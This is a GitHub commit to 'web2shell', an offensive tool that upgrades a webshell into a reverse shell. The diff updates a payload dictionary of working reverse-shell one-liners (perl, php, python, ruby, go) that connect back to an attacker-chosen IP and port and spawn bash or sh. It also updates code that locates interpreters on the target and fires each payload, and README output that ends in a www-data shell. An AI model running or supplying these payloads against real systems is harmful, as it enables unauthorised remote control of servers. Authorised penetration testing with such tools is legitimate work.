Skip to content

Commit 6541734

Browse files
committed
Added support for multiple unix shells
1 parent 25dbd11 commit 6541734

File tree

7 files changed

+58
-32
lines changed

7 files changed

+58
-32
lines changed

README.md

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ The included payloads have all been tested on a simple webshell and work. If you
3939

4040
- Edit the `data/payloads.py` file.
4141
- Add a new object to the `payloads` dict. The `key` should be the name of the bin, and the value should be a `list` object of payloads.
42-
- Replace all instances of the reverse `IP` with `IPHERE`, the port with `PORTHERE`, and the binary name with `PATHHERE`.
42+
- Replace all instances of the reverse `IP` with `IPHERE`, the port with `PORTHERE`, and the binary name with `PATHHERE`. If the payload specifies the shell replace it with `SHELLHERE`.
4343

4444
## Example
4545

@@ -63,11 +63,11 @@ Verifying commands can be executed...
6363
Available interfaces...
6464
[-] lo
6565
[-] enp4s0
66-
[-] docker0
67-
[-] br-7436527ee366
6866
[-] br-aa3534e13396
6967
[-] br-c7551daa06d2
70-
[-] veth148b75b
68+
[-] docker0
69+
[-] br-a193929c6ae4
70+
[-] veth57bc03a
7171
docker0 selected. Address to use is 172.17.0.1
7272
Testing ports...
7373
[x] 1025 already in use or unavailable.
@@ -86,10 +86,14 @@ Ncat: Listening on 0.0.0.0:1026
8686
[-] ruby found at /usr/bin/ruby2.7
8787
[-] ruby found at /usr/bin/ruby
8888
[-] go found at /usr/bin/go
89+
Finding shells...
90+
[-] bash found at /bin/bash
91+
[-] sh found at /bin/sh
8992
Executing reverse shell...
9093
Bins to test: 7
94+
Shells to test: 2
9195
[!] Attempting perl payloads for path /usr/bin/perl
9296
Ncat: Connection from 172.17.0.2.
93-
Ncat: Connection from 172.17.0.2:38870.
94-
$
97+
Ncat: Connection from 172.17.0.2:44590.
98+
www-data@122099e5b76d:/var/www/html$
9599
```

data/payloads.py

Lines changed: 17 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,30 @@
11
# Source: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
2-
payloads = {
2+
bins = {
33
"perl": [
4-
'PATHHERE -e \'use Socket;$i="IPHERE";$p=PORTHERE;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'',
4+
'PATHHERE -e \'use Socket;$i="IPHERE";$p=PORTHERE;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("SHELLHERE -i");};\'',
55
],
66
"php": [
7-
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);exec("/bin/sh -i <&3 >&3 2>&3");\'',
8-
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);shell_exec("/bin/sh -i <&3 >&3 2>&3");\'',
9-
"PATHHERE -r '$sock=fsockopen(\"IPHERE\",PORTHERE);`/bin/sh -i <&3 >&3 2>&3`;'",
10-
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);system("/bin/sh -i <&3 >&3 2>&3");\'',
11-
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);passthru("/bin/sh -i <&3 >&3 2>&3");\'',
12-
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);popen("/bin/sh -i <&3 >&3 2>&3", "r");\'',
7+
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);exec("SHELLHERE -i <&3 >&3 2>&3");\'',
8+
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);shell_exec("SHELLHERE -i <&3 >&3 2>&3");\'',
9+
"PATHHERE -r '$sock=fsockopen(\"IPHERE\",PORTHERE);`SHELLHERE -i <&3 >&3 2>&3`;'",
10+
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);system("SHELLHERE -i <&3 >&3 2>&3");\'',
11+
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);passthru("SHELLHERE -i <&3 >&3 2>&3");\'',
12+
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);popen("SHELLHERE -i <&3 >&3 2>&3", "r");\'',
1313
],
1414
"python": [
15-
'PATHHERE -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'',
16-
'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',
17-
'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'',
15+
'PATHHERE -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("SHELLHERE")\'',
16+
'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["SHELLHERE","-i"])\'',
17+
'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["SHELLHERE","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'',
1818
],
1919
"ruby": [
2020
'PATHHERE -rsocket -e\'exit if fork;c=TCPSocket.new("IPHERE","PORTHERE");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}\''
2121
],
2222
"go": [
23-
'export GOCACHE=/tmp; echo \'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IPHERE:PORTHERE");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && PATHHERE run /tmp/t.go && rm /tmp/t.go'
23+
'export GOCACHE=/tmp; echo \'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IPHERE:PORTHERE");cmd:=exec.Command("SHELLHERE");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && PATHHERE run /tmp/t.go && rm /tmp/t.go'
2424
],
2525
}
26+
27+
shells = [
28+
"bash",
29+
"sh",
30+
]

modules/commands.py

Lines changed: 15 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
import requests
44

55
from data import payloads, types
6-
from modules import logger
6+
from modules import logger, transform
77

88

99
def execute(url: str, command: str) -> str:
@@ -15,29 +15,34 @@ def execute(url: str, command: str) -> str:
1515
return data.text
1616

1717

18-
def find_bins(url: str, verbose: bool) -> list:
18+
def find_bins(url: str, verbose: bool, bins: list) -> list:
1919
valid = []
20-
bins = list(payloads.payloads.keys())
2120
for bin in bins:
2221
result = execute(url, f"whereis {bin}")
2322
logger.log(result, types.Status.VERBOSE, True, verbose)
2423
for path in result.split(" "):
2524
if "bin" in path and bin in path:
25+
path = transform.filter_tag(path)
2626
valid.append({bin: path})
2727
logger.log(f"{bin} found at {path}", types.Status.SUCCESS)
2828
return valid
2929

3030

31-
def reverse_connection(valid_bins: list, url: str, ip: str, port: int, verbose: bool):
31+
def reverse_connection(valid_bins: list, valid_shells: list, url: str, ip: str, port: int, verbose: bool):
3232
logger.log(f"Bins to test: {len(valid_bins)}")
33+
logger.log(f"Shells to test: {len(valid_shells)}")
3334
for bin in valid_bins:
3435
logger.log(f"Attempting {list(bin.keys())[0]} payloads for path {list(bin.values())[0]}", types.Status.ALERT)
35-
for payload in payloads.payloads[list(bin.keys())[0]]:
36-
cmd = urllib.parse.quote(
37-
payload.replace("PATHHERE", list(bin.values())[0]).replace("IPHERE", ip).replace("PORTHERE", str(port))
38-
)
39-
result = execute(url, cmd)
40-
logger.log(result, types.Status.VERBOSE, True, verbose)
36+
for payload in payloads.bins[list(bin.keys())[0]]:
37+
for shell in valid_shells:
38+
cmd = urllib.parse.quote(
39+
payload.replace("PATHHERE", list(bin.values())[0])
40+
.replace("IPHERE", ip)
41+
.replace("PORTHERE", str(port))
42+
.replace("SHELLHERE", list(shell.keys())[0])
43+
)
44+
result = execute(url, cmd)
45+
logger.log(result, types.Status.VERBOSE, True, verbose)
4146

4247

4348
def verify(url: str, verbose: bool) -> bool:

modules/logger.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ def splash():
1313
o O O O o O .O O o O O o o
1414
`Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo
1515
---------------------------------------------------
16-
@ejedev
16+
v0.1.1 @ejedev
1717
"""
1818
)
1919

modules/transform.py

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
import re
2+
3+
4+
def filter_tag(result: str) -> str:
5+
untagged = re.sub("<.*?>", "", result)
6+
return re.sub(r"[\n\t\s]*", "", untagged)

requirements.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
1-
requests==2.30.0
1+
requests==2.31.0
22
psutil==5.9.5
33
pre-commit==3.3.1

web2shell.py

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33

44
import psutil
55

6+
from data import payloads
67
from modules import commands, connection, flags, local, logger
78

89
parser = argparse.ArgumentParser(
@@ -40,9 +41,14 @@
4041
port = results.port
4142
logger.log(f"Final connection string will be {ip}:{port}...")
4243
logger.log("Finding bins...")
43-
bins = commands.find_bins(results.url, results.verbose)
44+
bins = commands.find_bins(results.url, results.verbose, list(payloads.bins.keys()))
45+
logger.log("Finding shells...")
46+
shells = commands.find_bins(results.url, results.verbose, payloads.shells)
4447
if len(bins) < 1:
4548
logger.log("No valid bins found.")
4649
quit()
50+
if len(shells) < 1:
51+
logger.log("No valid shells found. Defaulting to /bin/sh")
52+
shells = ["/bin/sh"]
4753
logger.log("Executing reverse shell...")
48-
commands.reverse_connection(bins, results.url, ip, port, results.verbose)
54+
commands.reverse_connection(bins, shells, results.url, ip, port, results.verbose)

0 commit comments

Comments
 (0)